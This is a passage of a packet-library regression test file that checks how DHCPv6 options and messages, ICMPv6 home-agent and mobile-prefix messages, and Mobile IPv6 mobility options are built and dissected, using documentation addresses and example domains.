DHCP6OptDNSServers('\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 23 and a.optlen == 32 and len(a.dnsservers) == 2 and a.dnsservers[0] == "2001:db8::1" and a.dnsservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - DNS Domain Search List Option = DHCP6OptDNSDomains - Basic Instantiation str(DHCP6OptDNSDomains()) == '\x00\x18\x00\x00' = DHCP6OptDNSDomains - Basic Dissection a = DHCP6OptDNSDomains('\x00\x18\x00\x00') a.optcode == 24 and a.optlen == 0 and a.dnsdomains == [] = DHCP6OptDNSDomains - Instantiation with specific values (1 domain) str(DHCP6OptDNSDomains(dnsdomains=["toto.example.com"])) == '\x00\x18\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (1 domain) a = DHCP6OptDNSDomains('\x00\x18\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 24 and a.optlen == 18 and len(a.dnsdomains) == 1 and a.dnsdomains[0] == "toto.example.com" = DHCP6OptDNSDomains - Instantiation with specific values (2 domains) str(DHCP6OptDNSDomains(dnsdomains=["toto.example.com", "titi.example.com"])) == '\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (2 domains) a = DHCP6OptDNSDomains('\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 24 and a.optlen == 36 and len(a.dnsdomains) == 2 and a.dnsdomains[0] == "toto.example.com" and a.dnsdomains[1] == "titi.example.com" ##################################################################### + Test DHCP6 Option - IA_PD Prefix Option = DHCP6OptIAPrefix - Basic Instantiation str(DHCP6OptIAPrefix()) == '\x00\x1a\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #TODO : finish me ##################################################################### + Test DHCP6 Option - Identity Association for Prefix Delegation = DHCP6OptIA_PD - Basic Instantiation str(DHCP6OptIA_PD()) == '\x00\x19\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #TODO : finish me ##################################################################### + Test DHCP6 Option - NIS Servers = DHCP6OptNISServers - Basic Instantiation str(DHCP6OptNISServers()) == '\x00\x1b\x00\x00' = DHCP6OptNISServers - Basic Dissection a = DHCP6OptNISServers('\x00\x1b\x00\x00') a.optcode == 27 and a. optlen == 0 and a.nisservers == [] = DHCP6OptNISServers - Instantiation with specific values (1 address) str(DHCP6OptNISServers(nisservers = ["2001:db8::1"] )) == '\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISServers - Dissection with specific values (1 address) a = DHCP6OptNISServers('\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 27 and a.optlen == 16 and len(a.nisservers) == 1 and a.nisservers[0] == "2001:db8::1" = DHCP6OptNISServers - Instantiation with specific values (2 addresses) str(DHCP6OptNISServers(nisservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISServers - Dissection with specific values (2 addresses) a = DHCP6OptNISServers('\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 27 and a.optlen == 32 and len(a.nisservers) == 2 and a.nisservers[0] == "2001:db8::1" and a.nisservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - NIS+ Servers = DHCP6OptNISPServers - Basic Instantiation str(DHCP6OptNISPServers()) == '\x00\x1c\x00\x00' = DHCP6OptNISPServers - Basic Dissection a = DHCP6OptNISPServers('\x00\x1c\x00\x00') a.optcode == 28 and a. optlen == 0 and a.nispservers == [] = DHCP6OptNISPServers - Instantiation with specific values (1 address) str(DHCP6OptNISPServers(nispservers = ["2001:db8::1"] )) == '\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISPServers - Dissection with specific values (1 address) a = DHCP6OptNISPServers('\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 28 and a.optlen == 16 and len(a.nispservers) == 1 and a.nispservers[0] == "2001:db8::1" = DHCP6OptNISPServers - Instantiation with specific values (2 addresses) str(DHCP6OptNISPServers(nispservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISPServers - Dissection with specific values (2 addresses) a = DHCP6OptNISPServers('\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 28 and a.optlen == 32 and len(a.nispservers) == 2 and a.nispservers[0] == "2001:db8::1" and a.nispservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - NIS Domain Name = DHCP6OptNISDomain - Basic Instantiation str(DHCP6OptNISDomain()) == '\x00\x1d\x00\x00' = DHCP6OptNISDomain - Basic Dissection a = DHCP6OptNISDomain('\x00\x1d\x00\x00') a.optcode == 29 and a.optlen == 0 and a.nisdomain == "" = DHCP6OptNISDomain - Instantiation with one domain name str(DHCP6OptNISDomain(nisdomain="toto.example.org")) == '\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptNISDomain - Dissection with one domain name a = DHCP6OptNISDomain('\x00\x1d\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 29 and a.optlen == 18 and a.nisdomain == "toto.example.org" = DHCP6OptNISDomain - Instantiation with one domain with trailing dot str(DHCP6OptNISDomain(nisdomain="toto.example.org.")) == '\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - NIS+ Domain Name = DHCP6OptNISPDomain - Basic Instantiation str(DHCP6OptNISPDomain()) == '\x00\x1e\x00\x00' = DHCP6OptNISPDomain - Basic Dissection a = DHCP6OptNISPDomain('\x00\x1e\x00\x00') a.optcode == 30 and a.optlen == 0 and a.nispdomain == "" = DHCP6OptNISPDomain - Instantiation with one domain name str(DHCP6OptNISPDomain(nispdomain="toto.example.org")) == '\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptNISPDomain - Dissection with one domain name a = DHCP6OptNISPDomain('\x00\x1e\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 30 and a.optlen == 18 and a.nispdomain == "toto.example.org" = DHCP6OptNISPDomain - Instantiation with one domain with trailing dot str(DHCP6OptNISPDomain(nispdomain="toto.example.org.")) == '\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - SNTP Servers = DHCP6OptSNTPServers - Basic Instantiation str(DHCP6OptSNTPServers()) == '\x00\x1f\x00\x00' = DHCP6OptSNTPServers - Basic Dissection a = DHCP6OptSNTPServers('\x00\x1f\x00\x00') a.optcode == 31 and a. optlen == 0 and a.sntpservers == [] = DHCP6OptSNTPServers - Instantiation with specific values (1 address) str(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1"] )) == '\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSNTPServers - Dissection with specific values (1 address) a = DHCP6OptSNTPServers('\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 31 and a.optlen == 16 and len(a.sntpservers) == 1 and a.sntpservers[0] == "2001:db8::1" = DHCP6OptSNTPServers - Instantiation with specific values (2 addresses) str(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSNTPServers - Dissection with specific values (2 addresses) a = DHCP6OptSNTPServers('\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 31 and a.optlen == 32 and len(a.sntpservers) == 2 and a.sntpservers[0] == "2001:db8::1" and a.sntpservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - Information Refresh Time = DHCP6OptInfoRefreshTime - Basic Instantiation str(DHCP6OptInfoRefreshTime()) == '\x00 \x00\x04\x00\x01Q\x80' = DHCP6OptInfoRefreshTime - Basic Dissction a = DHCP6OptInfoRefreshTime('\x00 \x00\x04\x00\x01Q\x80') a.optcode == 32 and a.optlen == 4 and a.reftime == 86400 = DHCP6OptInfoRefreshTime - Instantiation with specific values str(DHCP6OptInfoRefreshTime(optlen=7, reftime=42)) == '\x00 \x00\x07\x00\x00\x00*' ##################################################################### + Test DHCP6 Option - BCMCS Servers = DHCP6OptBCMCSServers - Basic Instantiation str(DHCP6OptBCMCSServers()) == '\x00"\x00\x00' = DHCP6OptBCMCSServers - Basic Dissection a = DHCP6OptBCMCSServers('\x00"\x00\x00') a.optcode == 34 and a. optlen == 0 and a.bcmcsservers == [] = DHCP6OptBCMCSServers - Instantiation with specific values (1 address) str(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1"] )) == '\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptBCMCSServers - Dissection with specific values (1 address) a = DHCP6OptBCMCSServers('\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 34 and a.optlen == 16 and len(a.bcmcsservers) == 1 and a.bcmcsservers[0] == "2001:db8::1" = DHCP6OptBCMCSServers - Instantiation with specific values (2 addresses) str(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptBCMCSServers - Dissection with specific values (2 addresses) a = DHCP6OptBCMCSServers('\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 34 and a.optlen == 32 and len(a.bcmcsservers) == 2 and a.bcmcsservers[0] == "2001:db8::1" and a.bcmcsservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - BCMCS Domains = DHCP6OptBCMCSDomains - Basic Instantiation str(DHCP6OptBCMCSDomains()) == '\x00!\x00\x00' = DHCP6OptBCMCSDomains - Basic Dissection a = DHCP6OptBCMCSDomains('\x00!\x00\x00') a.optcode == 33 and a.optlen == 0 and a.bcmcsdomains == [] = DHCP6OptBCMCSDomains - Instantiation with specific values (1 domain) str(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com"])) == '\x00!\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (1 domain) a = DHCP6OptBCMCSDomains('\x00!\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 33 and a.optlen == 18 and len(a.bcmcsdomains) == 1 and a.bcmcsdomains[0] == "toto.example.com" = DHCP6OptBCMCSDomains - Instantiation with specific values (2 domains) str(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com", "titi.example.com"])) == '\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (2 domains) a = DHCP6OptBCMCSDomains('\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 33 and a.optlen == 36 and len(a.bcmcsdomains) == 2 and a.bcmcsdomains[0] == "toto.example.com" and a.bcmcsdomains[1] == "titi.example.com" ##################################################################### + Test DHCP6 Option - Relay Agent Remote-ID = DHCP6OptRemoteID - Basic Instantiation str(DHCP6OptRemoteID()) == '\x00%\x00\x04\x00\x00\x00\x00' = DHCP6OptRemoteID - Basic Dissection a = DHCP6OptRemoteID('\x00%\x00\x04\x00\x00\x00\x00') a.optcode == 37 and a.optlen == 4 and a.enterprisenum == 0 and a.remoteid == "" = DHCP6OptRemoteID - Instantiation with specific values str(DHCP6OptRemoteID(enterprisenum=0xeeeeeeee, remoteid="someid")) == '\x00%\x00\n\xee\xee\xee\xeesomeid' = DHCP6OptRemoteID - Dissection with specific values a = DHCP6OptRemoteID('\x00%\x00\n\xee\xee\xee\xeesomeid') a.optcode == 37 and a.optlen == 10 and a.enterprisenum == 0xeeeeeeee and a.remoteid == "someid" ##################################################################### + Test DHCP6 Option - Subscriber ID = DHCP6OptSubscriberID - Basic Instantiation str(DHCP6OptSubscriberID()) == '\x00&\x00\x00' = DHCP6OptSubscriberID - Basic Dissection a = DHCP6OptSubscriberID('\x00&\x00\x00') a.optcode == 38 and a.optlen == 0 and a.subscriberid == "" = DHCP6OptSubscriberID - Instantiation with specific values str(DHCP6OptSubscriberID(subscriberid="someid")) == '\x00&\x00\x06someid' = DHCP6OptSubscriberID - Dissection with specific values a = DHCP6OptSubscriberID('\x00&\x00\x06someid') a.optcode == 38 and a.optlen == 6 and a.subscriberid == "someid" ##################################################################### + Test DHCP6 Option - Client FQDN = DHCP6OptClientFQDN - Basic Instantiation str(DHCP6OptClientFQDN()) == "\x00'\x00\x01\x00" = DHCP6OptClientFQDN - Basic Dissection a = DHCP6OptClientFQDN("\x00'\x00\x01\x00") a.optcode == 39 and a.optlen == 1 and a.res == 0 and a.flags == 0 and a.fqdn == "" = DHCP6OptClientFQDN - Instantiation with various flags combinations str(DHCP6OptClientFQDN(flags="S")) == "\x00'\x00\x01\x01" and str(DHCP6OptClientFQDN(flags="O")) == "\x00'\x00\x01\x02" and str(DHCP6OptClientFQDN(flags="N")) == "\x00'\x00\x01\x04" and str(DHCP6OptClientFQDN(flags="SON")) == "\x00'\x00\x01\x07" and str(DHCP6OptClientFQDN(flags="ON")) == "\x00'\x00\x01\x06" = DHCP6OptClientFQDN - Instantiation with one fqdn str(DHCP6OptClientFQDN(fqdn="toto.example.org")) == "\x00'\x00\x13\x00\x04toto\x07example\x03org\x00" = DHCP6OptClientFQDN - Dissection with one fqdn a = DHCP6OptClientFQDN("\x00'\x00\x13\x00\x04toto\x07example\x03org\x00") a.optcode == 39 and a.optlen == 19 and a.res == 0 and a.flags == 0 and a.fqdn == "toto.example.org" ##################################################################### + Test DHCP6 Option Relay Agent Echo Request Option = DHCP6OptRelayAgentERO - Basic Instantiation str(DHCP6OptRelayAgentERO()) == '\x00+\x00\x04\x00\x17\x00\x18' = DHCP6OptRelayAgentERO - optlen field computation str(DHCP6OptRelayAgentERO(reqopts=[1,2,3,4])) == '\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptRelayAgentERO - instantiation with empty list str(DHCP6OptRelayAgentERO(reqopts=[])) == '\x00+\x00\x00' = DHCP6OptRelayAgentERO - Basic dissection a=DHCP6OptRelayAgentERO('\x00+\x00\x00') a.optcode == 43 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptRelayAgentERO - Dissection with specific value a=DHCP6OptRelayAgentERO('\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 43 and a.optlen == 8 and a.reqopts == [1,2,3,4] ##################################################################### + Test DHCP6 Messages - DHCP6_Solicit = DHCP6_Solicit - Basic Instantiation str(DHCP6_Solicit()) == '\x01\x00\x00\x00' = DHCP6_Solicit - Basic Dissection a = DHCP6_Solicit('\x01\x00\x00\x00') a.msgtype == 1 and a.trid == 0 = DHCP6_Solicit - Basic test of DHCP6_solicit.hashret() DHCP6_Solicit().hashret() == '\x00\x00\x00' = DHCP6_Solicit - Test of DHCP6_solicit.hashret() with specific values DHCP6_Solicit(trid=0xbbccdd).hashret() == '\xbb\xcc\xdd' = DHCP6_Solicit - UDP ports overload a=UDP()/DHCP6_Solicit() a.sport == 546 and a.dport == 547 = DHCP6_Solicit - Dispatch based on UDP port a=UDP(str(UDP()/DHCP6_Solicit())) isinstance(a.payload, DHCP6_Solicit) ##################################################################### + Test DHCP6 Messages - DHCP6_Advertise = DHCP6_Advertise - Basic Instantiation str(DHCP6_Advertise()) == '\x02\x00\x00\x00' = DHCP6_Advertise - Basic test of DHCP6_solicit.hashret() DHCP6_Advertise().hashret() == '\x00\x00\x00' = DHCP6_Advertise - Test of DHCP6_Advertise.hashret() with specific values DHCP6_Advertise(trid=0xbbccdd).hashret() == '\xbb\xcc\xdd' = DHCP6_Advertise - Basic test of answers() with solicit message a = DHCP6_Solicit() b = DHCP6_Advertise() a > b = DHCP6_Advertise - Test of answers() with solicit message a = DHCP6_Solicit(trid=0xbbccdd) b = DHCP6_Advertise(trid=0xbbccdd) a > b = DHCP6_Advertise - UDP ports overload a=UDP()/DHCP6_Advertise() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_Request = DHCP6_Request - Basic Instantiation str(DHCP6_Request()) == '\x03\x00\x00\x00' = DHCP6_Request - Basic Dissection a=DHCP6_Request('\x03\x00\x00\x00') a.msgtype == 3 and a.trid == 0 = DHCP6_Request - UDP ports overload a=UDP()/DHCP6_Request() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Confirm = DHCP6_Confirm - Basic Instantiation str(DHCP6_Confirm()) == '\x04\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm('\x04\x00\x00\x00') a.msgtype == 4 and a.trid == 0 = DHCP6_Confirm - UDP ports overload a=UDP()/DHCP6_Confirm() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Renew = DHCP6_Renew - Basic Instantiation str(DHCP6_Renew()) == '\x05\x00\x00\x00' = DHCP6_Renew - Basic Dissection a=DHCP6_Renew('\x05\x00\x00\x00') a.msgtype == 5 and a.trid == 0 = DHCP6_Renew - UDP ports overload a=UDP()/DHCP6_Renew() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Rebind = DHCP6_Rebind - Basic Instantiation str(DHCP6_Rebind()) == '\x06\x00\x00\x00' = DHCP6_Rebind - Basic Dissection a=DHCP6_Rebind('\x06\x00\x00\x00') a.msgtype == 6 and a.trid == 0 = DHCP6_Rebind - UDP ports overload a=UDP()/DHCP6_Rebind() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Reply = DHCP6_Reply - Basic Instantiation str(DHCP6_Reply()) == '\x07\x00\x00\x00' = DHCP6_Reply - Basic Dissection a=DHCP6_Reply('\x07\x00\x00\x00') a.msgtype == 7 and a.trid == 0 = DHCP6_Reply - UDP ports overload a=UDP()/DHCP6_Reply() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Release = DHCP6_Release - Basic Instantiation str(DHCP6_Release()) == '\x08\x00\x00\x00' = DHCP6_Release - Basic Dissection a=DHCP6_Release('\x08\x00\x00\x00') a.msgtype == 8 and a.trid == 0 = DHCP6_Release - UDP ports overload a=UDP()/DHCP6_Release() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Decline = DHCP6_Decline - Basic Instantiation str(DHCP6_Decline()) == '\x09\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm('\x09\x00\x00\x00') a.msgtype == 9 and a.trid == 0 = DHCP6_Decline - UDP ports overload a=UDP()/DHCP6_Decline() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Reconf = DHCP6_Reconf - Basic Instantiation str(DHCP6_Reconf()) == '\x0A\x00\x00\x00' = DHCP6_Reconf - Basic Dissection a=DHCP6_Reconf('\x0A\x00\x00\x00') a.msgtype == 10 and a.trid == 0 = DHCP6_Reconf - UDP ports overload a=UDP()/DHCP6_Reconf() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_InfoRequest = DHCP6_InfoRequest - Basic Instantiation str(DHCP6_InfoRequest()) == '\x0B\x00\x00\x00' = DHCP6_InfoRequest - Basic Dissection a=DHCP6_InfoRequest('\x0B\x00\x00\x00') a.msgtype == 11 and a.trid == 0 = DHCP6_InfoRequest - UDP ports overload a=UDP()/DHCP6_InfoRequest() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_RelayForward = DHCP6_RelayForward - Basic Instantiation str(DHCP6_RelayForward()) == '\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayForward - Basic Dissection a=DHCP6_RelayForward('\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 12 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" ##################################################################### + Test DHCP6 Messages - DHCP6_RelayReply = DHCP6_RelayReply - Basic Instantiation str(DHCP6_RelayReply()) == '\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayReply - Basic Dissection a=DHCP6_RelayReply('\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 13 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" ##################################################################### ##################################################################### ################# MIPv6 and NEMO ################# ##################################################################### ##################################################################### + Home Agent Address Discovery = in6_getha() in6_getha('2001:db8::') == '2001:db8::fdff:ffff:ffff:fffe' = ICMPv6HAADRequest - build/dissection p = IPv6(str(IPv6(dst=in6_getha('2001:db8::'), src='2001:db8::1')/ICMPv6HAADRequest(id=42))) p.cksum == 0x9620 and p.dst == '2001:db8::fdff:ffff:ffff:fffe' and p.R == 1 = ICMPv6HAADReply - build/dissection p = IPv6(str(IPv6(dst='2001:db8::1', src='2001:db8::42')/ICMPv6HAADReply(id=42, addresses=['2001:db8::2', '2001:db8::3']))) p.cksum = 0x3747 and p.addresses == [ '2001:db8::2', '2001:db8::3' ] = ICMPv6HAADRequest / ICMPv6HAADReply - build/dissection a=ICMPv6HAADRequest(id=42) b=ICMPv6HAADReply(id=42) not a < b and a > b + Mobile Prefix Solicitation/Advertisement = ICMPv6MPSol - build (default values) s = '`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00m\xbb\x00\x00\x00\x00' str(IPv6()/ICMPv6MPSol()) == s = ICMPv6MPSol - dissection (default values) p = IPv6(s) p[ICMPv6MPSol].type == 146 and p[ICMPv6MPSol].cksum == 0x6dbb and p[ICMPv6MPSol].id == 0 = ICMPv6MPSol - build s = '`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00(\x08\x00\x08\x00\x00' str(IPv6()/ICMPv6MPSol(cksum=0x2808, id=8)) == s = ICMPv6MPSol - dissection p = IPv6(s) p[ICMPv6MPSol].cksum == 0x2808 and p[ICMPv6MPSol].id == 8 = ICMPv6MPAdv - build (default values) s = '`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00\xe8\xd6\x00\x00\x80\x00\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(IPv6()/ICMPv6MPAdv()/ICMPv6NDOptPrefixInfo()) == s = ICMPv6MPAdv - dissection (default values) p = IPv6(s) p[ICMPv6MPAdv].type == 147 and p[ICMPv6MPAdv].cksum == 0xe8d6 and p[ICMPv6NDOptPrefixInfo].prefix == '::' = ICMPv6MPAdv - build s = '`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00(\x07\x00*@\x00\x03\x04\x00@\xff\xff\xff\xff\x00\x00\x00\x0c\x00\x00\x00\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' str(IPv6()/ICMPv6MPAdv(cksum=0x2807, flags=1, id=42)/ICMPv6NDOptPrefixInfo(prefix='2001:db8::1', L=0, preferredlifetime=12)) == s = ICMPv6MPAdv - dissection p = IPv6(s) p[ICMPv6MPAdv].cksum == 0x2807 and p[ICMPv6MPAdv].flags == 1 and p[ICMPv6MPAdv].id == 42 and p[ICMPv6NDOptPrefixInfo].prefix == '2001:db8::1' and p[ICMPv6NDOptPrefixInfo].preferredlifetime == 12 + Type 2 Routing Header = IPv6ExtHdrRouting - type 2 - build/dissection p = IPv6(str(IPv6(dst='2001:db8::1', src='2001:db8::2')/IPv6ExtHdrRouting(type=2, addresses=['2001:db8::3'])/ICMPv6EchoRequest())) p.type == 2 and len(p.addresses) == 1 and p.cksum == 0x2446 + Mobility Options - Binding Refresh Advice = MIP6OptBRAdvice - build (default values) s = '\x02\x02\x00\x00' str(MIP6OptBRAdvice()) == s = MIP6OptBRAdvice - dissection (default values) p = MIP6OptBRAdvice(s) p.otype == 2 and p.olen == 2 and p.rinter == 0 = MIP6OptBRAdvice - build s = '\x03*\n\xf7' str(MIP6OptBRAdvice(otype=3, olen=42, rinter=2807)) == s = MIP6OptBRAdvice - dissection p = MIP6OptBRAdvice(s) p.otype == 3 and p.olen == 42 and p.rinter == 2807 + Mobility Options - Alternate Care-of Address = MIP6OptAltCoA - build (default values) s = '\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptAltCoA()) == s = MIP6OptAltCoA - dissection (default values) p = MIP6OptAltCoA(s) p.otype == 3 and p.olen == 16 and p.acoa == '::' = MIP6OptAltCoA - build s = '*\x08 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' str(MIP6OptAltCoA(otype=42, olen=8, acoa='2001:db8::1')) == s = MIP6OptAltCoA - dissection p = MIP6OptAltCoA(s) p.otype == 42 and p.olen == 8 and p.acoa == '2001:db8::1' + Mobility Options - Nonce Indices = MIP6OptNonceIndices - build (default values) s = '\x04\x10\x00\x00\x00\x00' str(MIP6OptNonceIndices()) == s = MIP6OptNonceIndices - dissection (default values) p = MIP6OptNonceIndices(s) p.otype == 4 and p.olen == 16 and p.hni == 0 and p.coni == 0 = MIP6OptNonceIndices - build s = '\x04\x12\x00\x13\x00\x14' str(MIP6OptNonceIndices(olen=18, hni=19, coni=20)) == s = MIP6OptNonceIndices - dissection p = MIP6OptNonceIndices(s) p.hni == 19 and p.coni == 20 + Mobility Options - Binding Authentication Data = MIP6OptBindingAuthData - build (default values) s = '\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptBindingAuthData()) == s = MIP6OptBindingAuthData - dissection (default values) p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 16 and p.authenticator == 0 = MIP6OptBindingAuthData - build s = '\x05*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xf7' str(MIP6OptBindingAuthData(olen=42, authenticator=2807)) == s = MIP6OptBindingAuthData - dissection p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 42 and p.authenticator == 2807 + Mobility Options - Mobile Network Prefix = MIP6OptMobNetPrefix - build (default values) s = '\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptMobNetPrefix()) == s = MIP6OptMobNetPrefix - dissection (default values) p = MIP6OptMobNetPrefix(s) p.otype == 6 and p.olen == 18 and p.plen == 64 and p.prefix == '::' = MIP6OptMobNetPrefix - build s = '\x06*\x02 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(MIP6OptMobNetPrefix(olen=42, reserved=2, plen=32, prefix='2001:db8::')) == s = MIP6OptMobNetPrefix - dissection p = 